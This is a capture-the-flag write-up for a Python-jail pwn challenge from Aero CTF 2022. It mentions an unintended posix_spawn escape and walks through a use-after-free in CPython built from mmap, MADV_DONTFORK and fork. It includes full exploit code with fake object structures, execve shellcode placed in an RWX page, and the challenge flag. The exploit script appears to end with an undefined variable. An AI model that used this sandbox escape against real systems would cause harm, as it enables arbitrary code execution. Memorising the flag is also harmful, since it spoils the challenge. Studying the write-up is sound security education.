Skip to content
This repository was archived by the owner on May 15, 2023. It is now read-only.

Latest commit

 

History

History

balloon

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Aero CTF 2022 | Pwn | Balloon

Description

Do you like Python jails?

Files

Note

The challenge contains unintented solution that levels out the entire challenge.

The author tried to sandbox all execve() calls, but failed. The one of possible solution is to use os.posix_spawn(). Probably the correct sandbox could be achieved with seccomp to block execve entirely, then the challenge makes sense.

By the way, the intended solution is described below.

Solution

We need to bypass python's memory checks and do memory corruption.

There are some existing bugs in cpython that works on the latest version:

The author tried to fix these bugs by removing memoryview, bytearray, io.BufferedReader and io.BufferedWriter objects.

The intended solution is based on mmap and madvise syscalls. There are a useful parameter for madvise():

MADV_DONTFORK (since Linux 2.6.16)
        Do not make the pages in this range available to the child
        after a fork(2).  This is useful to prevent copy-on-write
        semantics from changing the physical location of a page if
        the parent writes to it after a fork(2).  (Such page
        relocations cause problems for hardware that DMAs into the
        page.)

It means that if we've set MADV_DONTFORK on a page, this page will not be copied to fork. How to use this?

  1. Create a page using mmap.mmap(), call madvise(MADV_DONTFORK) on this page.

  2. Call os.fork(). The page will not exists in child, but the object containing the pointer will be copied. So we have got a bad pointer ptr in child.

  3. Allocate a very long list list in child, for example 0x1000 elements. The existing Python's heap are too small for this, so the allocator will call mmap() to get more space. The address of a new page will be the same as ptr.

  4. So list and ptr point to the same memory, this is use-after-free vulnerability.

  5. Create a fake object type with custom repr() function that contains a payload. Then create an instance obj of this object.

  6. Add obj to list using ptr. Then call repr(list).

Example solution:

import os
import time
import mmap

page = mmap.mmap(-1, 0x1000 * 16)
page.madvise(mmap.MADV_DONTFORK)

serialize = lambda x: b''.join(y.to_bytes(8, 'little') for y in x)

if os.fork():
    time.sleep(1)
else:
    array = [0] * 4096 * 25
    page_ptr = id(array) - 0x110940

    obj_type = serialize(
        [
            2, id(type),
            0, id(b'') + 32,
            33, 1,
        ] + [page_ptr] * 32
    )

    obj = serialize(
        [
            2, id(obj_type) + 32,
            0, 1,
        ]
    )

    page[:8] = serialize([id(obj) + 32])

    path = b'/challenge/flag'
    path_ptr = serialize([id(path) + 32])

    # a tiny execve shellcode using `path_ptr` in rdi
    shellcode = b'\x48\x31\xC0\xB0\x3B\x48\xBF' + path_ptr + b'\x48\x31\xF6\x48\x31\xD2\x48\x31\xC9\x0F\x05'
    
    rwx_page = mmap.mmap(-1, 0x1000 * 8, prot = 7)
    rwx_page.write(b'\x90' * 0x1000 * 8)
    rwx_page[-len(shellcode):] = shellcode

    str(a)

The challenge limits input's length, so the actual solution is minified.

Example minified solution: solution/exploit.py

Flag

Aero{RCE_1n_Pyth0n_1s_d4NG3r0uS_ev3Ry_t1m3}